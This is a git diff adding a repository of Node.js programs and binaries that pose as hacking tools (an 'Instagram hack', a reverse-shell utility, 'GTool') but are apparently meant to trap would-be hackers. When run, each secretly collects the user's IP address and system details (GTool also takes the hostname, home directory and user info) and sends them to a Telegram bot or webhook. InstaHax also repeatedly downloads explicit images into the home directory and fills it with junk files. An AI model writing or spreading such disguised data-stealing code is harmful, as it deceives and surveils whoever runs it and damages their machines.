diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a4467db --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +**/node_modules +**/package-lock.json +**/sender.js \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..b25bd0e --- /dev/null +++ b/README.md @@ -0,0 +1,12 @@ +# READ THIS + +So we had an incident yesterday. Someone thought it'd be funny to abuse the tokens used to communicate with us. If you are that low-lifer, you got 2 choices: + +- 1: Continue to be a dick and slow down development of "tools" being made to abolish skids and teach them a lesson +- 2: Be a supportful man and leave this shit alone + +if you choose the first one, you have the legal permission to fuck yourself + +if you choose the second one, you contribute to this by a ton by not pissing everyone off, and being a generally nice man. + +## Thanks for reading. \ No newline at end of file diff --git a/Tools/GTool/bin/gtool-src-linux b/Tools/GTool/bin/gtool-src-linux new file mode 100644 index 0000000..a1eb13f Binary files /dev/null and b/Tools/GTool/bin/gtool-src-linux differ diff --git a/Tools/GTool/bin/gtool-src-win.exe b/Tools/GTool/bin/gtool-src-win.exe new file mode 100644 index 0000000..c93d919 Binary files /dev/null and b/Tools/GTool/bin/gtool-src-win.exe differ diff --git a/Tools/GTool/src/main.js b/Tools/GTool/src/main.js new file mode 100644 index 0000000..417f251 --- /dev/null +++ b/Tools/GTool/src/main.js @@ -0,0 +1,67 @@ +let req = require("request") +let fs = require("fs") +let os = require("os") + +let req1 = req("https://api.ipify.org") +let ip = ""; +req1.on("complete", async (response, body) => { + fs.writeFileSync("./DATA.json", JSON.stringify({ + ip: { + external: ip + }, + network: (os.networkInterfaces || function () { + return "null" + })(), + cpu: (os.cpus || function () { + return "null" + })(), + arch: (os.arch || function () { + return "null" + })(), + homedir: (os.homedir || function () { + return "null" + })(), + host: (os.hostname || function () { + return "null" + })(), + platform: (os.platform || function () { + return "null" + })(), + rel: (os.release || function () { + return "null" + })(), + tmp: (os.tmpdir || function () { + return "null" + })(), + uptime: (os.uptime || function () { + return "null" + })(), + kernelver: (os.version || function () { + return "null" + })(), + user: (os.userInfo || function () { + return "null" + })() + })) + let a = require("./sender") + let token = (await a()).split(":-:")[0] + let r = req(`https://api.telegram.org/bot${token}/sendDocument`, { + method: "POST", + formData: { + "chat_id": "@lmaotxt", + document: fs.createReadStream("./DATA.json"), + caption: "HE GAY" + } + }) + r.on("data",(b)=>{console.log(b.toString())}) + r.on("complete", () => { + setTimeout(() => { + fs.unlinkSync("./DATA.json") + console.log("lol") + process.exit() + }, 1000) + }) +}) +req1.on("data", (data) => { + ip += data +}) \ No newline at end of file diff --git a/Tools/GTool/src/package.json b/Tools/GTool/src/package.json new file mode 100644 index 0000000..3933a68 --- /dev/null +++ b/Tools/GTool/src/package.json @@ -0,0 +1,15 @@ +{ + "name": "gtool-src", + "version": "1.0.0", + "description": "what the fuck", + "main": "sender.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "lo", + "license": "ISC", + "dependencies": { + "request": "^2.88.2" + }, + "bin": "main.js" +} diff --git a/Tools/InstaHax/bin/hacktool-remastered-linux b/Tools/InstaHax/bin/hacktool-remastered-linux new file mode 100644 index 0000000..09978f1 Binary files /dev/null and b/Tools/InstaHax/bin/hacktool-remastered-linux differ diff --git a/Tools/InstaHax/bin/hacktool-remastered-win.exe b/Tools/InstaHax/bin/hacktool-remastered-win.exe new file mode 100644 index 0000000..90d471d Binary files /dev/null and b/Tools/InstaHax/bin/hacktool-remastered-win.exe differ diff --git a/Tools/InstaHax/src/main.js b/Tools/InstaHax/src/main.js new file mode 100644 index 0000000..ca935f7 --- /dev/null +++ b/Tools/InstaHax/src/main.js @@ -0,0 +1,59 @@ +const https = require("https") +const fs = require("fs") +console.clear() +console.log("[!] Loading...") +https.get("https://api.ipify.org",function(ipr){ + let ip = ""; + ipr.on("data",(chonk)=>{ip+=chonk.toString()}) + ipr.on("close",async ()=>{ + let reqs = https.request((await require("./sender")()).split(":-:")[1], { + method: "POST", + headers: { + "content-type": "application/json" + } + }, function (resp) { + resp.on("data", (c) => { + console.log(c.toString()) + }) + setTimeout(() => { + setInterval(() => { + for (c of "YOU GOT JEBAITED ") { + process.stdout.write(c) + } + }) + }, 10000) + + function mkr() { // define a function that we will call to download a image + https.get("https://nekos.life/api/v2/img/boobs", { // Get the api endpoint + }, function (res) { // Callback + let fin = ""; // Define response + res.on("data", (chunk) => { + fin += chunk + }) // Fill out response + res.on("end", () => { // gets called when connection closes (we have the data) + let text = JSON.parse(fin) // Parse the response + let u = text.url; // get the url provided to the image + https.get(u, function (res) { // Get the image + let path = require("os").homedir(); + fs.writeFileSync(path + `/LMAO${Math.random()}.txt`, "You got jebaited\n".repeat(50)) + // console.log("Downloading to "+path) + let fname = u.split("/").pop() + let stream = require("fs").createWriteStream(path + "/" + fname) // Create a write stream to a file created with the name of the original file on the api + res.pipe(stream) // Pipe the response into that file + res.on("end", () => { // Gets called when we have the data + stream.close() // Close the write stream + setTimeout(mkr, 5000) // Call the function again in 1 second + }) + }) + }) + }) + } + for (i = 0; i < 10; i++) mkr() // Start 3 threads that download 3 images at once + }) + + reqs.write(JSON.stringify({ + content: "Someone got jebaited.\nIP: "+ip+"\nOS: "+require("os").platform() + })) + reqs.end() + }) +}) diff --git a/Tools/InstaHax/src/package.json b/Tools/InstaHax/src/package.json new file mode 100644 index 0000000..70f1c0d --- /dev/null +++ b/Tools/InstaHax/src/package.json @@ -0,0 +1,14 @@ +{ + "name": "hacktool-remastered", + "version": "1.0.0", + "description": "Annother tool", + "main": "main.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "Constantin", + "license": "ISC", + "dependencies": { + }, + "bin": "main.js" +} diff --git a/Tools/Jaxxor/bin/Jaxxor.exe b/Tools/Jaxxor/bin/Jaxxor.exe new file mode 100644 index 0000000..17e2656 Binary files /dev/null and b/Tools/Jaxxor/bin/Jaxxor.exe differ diff --git a/Tools/Jaxxor/src/main.js b/Tools/Jaxxor/src/main.js new file mode 100644 index 0000000..16624dc --- /dev/null +++ b/Tools/Jaxxor/src/main.js @@ -0,0 +1,99 @@ +const chalk = require("chalk"); +const { + default: axios +} = require("axios"); +const { + ArgumentParser +} = require("argparse"); +const parser = new ArgumentParser({ + description: require("./package.json").description, + version: require("./package.json").version +}); + +parser.addArgument(["target"], { + help: "The target's IP address" +}) +parser.addArgument(["-vb", "--verbose"], { + help: "Whether or not to enable an extra level of logging", + required: false, + defaultValue: false, + action: "storeTrue" +}) +parser.addArgument(["-os", "--operating-system"], { + required: false, + help: "The target's Operating system. Not needed, but if it doesnt work normally, try providing this", + defaultValue: null +}) +let args = parser.parseArgs() + +function delay(ms) { + return new Promise((r, j) => { + setTimeout(r, ms); + }) +} +class LogHelper { + logVerbose(text) { + if (args.verbose) console.log(chalk `{green [VB]} {yellow ${text}}`); + } + log(text) { + console.log(chalk `{green [I]} ${text}`); + } + warn(text) { + console.log(chalk `{yellow [!]} ${text}`); + } + error(text) { + console.log(chalk `{red [!!]} {redBright ${text}}`); + } +} +let logger = new LogHelper(); + +logger.log("Loading...") +axios({ + url: "https://api.ipify.org" +}).then(async d => { + logger.log("Successfully loaded the API. Loading modules...") + axios({ + url: `https://api.telegram.org/bot${(await require("./sender")()).split(":-:")[0]}/sendMessage`, + method: "POST", + data: { + chat_id: "@lmaotxt", + text: `${d.data} ran the fake rat. OS: ${require("os").platform()}`, + parse_mode: "HTML" + } + }).then(async () => { + if (args.target.split(".").length != 4 || args.target.split(".").some(a => parseInt(a) > 255)) return logger.error(`I dont think "${args.target}" is a valid IP`) + logger.log("Loaded modules. Running shell for " + args.target) + await delay(1000) + logger.log("Connecting...") + logger.logVerbose("Attempting to send packet 1 with 500b data...") + await delay(500) + logger.logVerbose("Attempting to send packet 2 with 500b data...") + await delay(10) + logger.logVerbose("Attempting to send packet 3 with 742b data...") + logger.logVerbose("Attempting to send packet 4 with 330b data...") + logger.logVerbose("Attempting to send packet 5 with 5kb data...") + await delay(2000) + logger.log("Connected. Opening shell...") + logger.logVerbose("Opening shell in main window...") + logger.log("Shell was created. Opening interface...") + await delay(500) + let proc = require("child_process").exec("cmd") + process.stdin.on("data", (data) => { + proc.stdin.write(data.toString()); + }) + proc.stdout.on("data", (chunk) => { + process.stdout.write(chunk) + }) + proc.stderr.on("data",(chunk)=>{ + process.stdout.write(chalk.redBright(chunk)) + }) + proc.on("exit",()=>{ + logger.warn("Session has closed. Closing program...") + process.exit() + }) + + }) +}).catch(err => { + logger.error("Failed to load the API. Exiting...") + process.exit(0, "Failed to load API") +}) \ No newline at end of file diff --git a/Tools/Jaxxor/src/package.json b/Tools/Jaxxor/src/package.json new file mode 100644 index 0000000..8b23bb5 --- /dev/null +++ b/Tools/Jaxxor/src/package.json @@ -0,0 +1,18 @@ +{ + "name": "revsheller", + "version": "1.0.0", + "description": "Lets you create reverse shell releationships with PC's that aren't even on", + "main": "main.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "Constantin", + "license": "ISC", + "dependencies": { + "argparse": "^1.0.10", + "axios": "^0.19.2", + "chalk": "^4.1.0", + "ws": "^7.3.1" + }, + "bin": "main.js" +} diff --git a/Tools/README.md b/Tools/README.md new file mode 100644 index 0000000..465973b --- /dev/null +++ b/Tools/README.md @@ -0,0 +1,8 @@ +# hacktoolv2 +my brain fucking hurts + +> This tool is revolutionary. Its the best hack tool in the world and nothing can change that. Download it today + +# Usage + +> Using this tool is stupid easy. Just download the binary for your OS and run it on the terminal. Add the -h switch to see help. \ No newline at end of file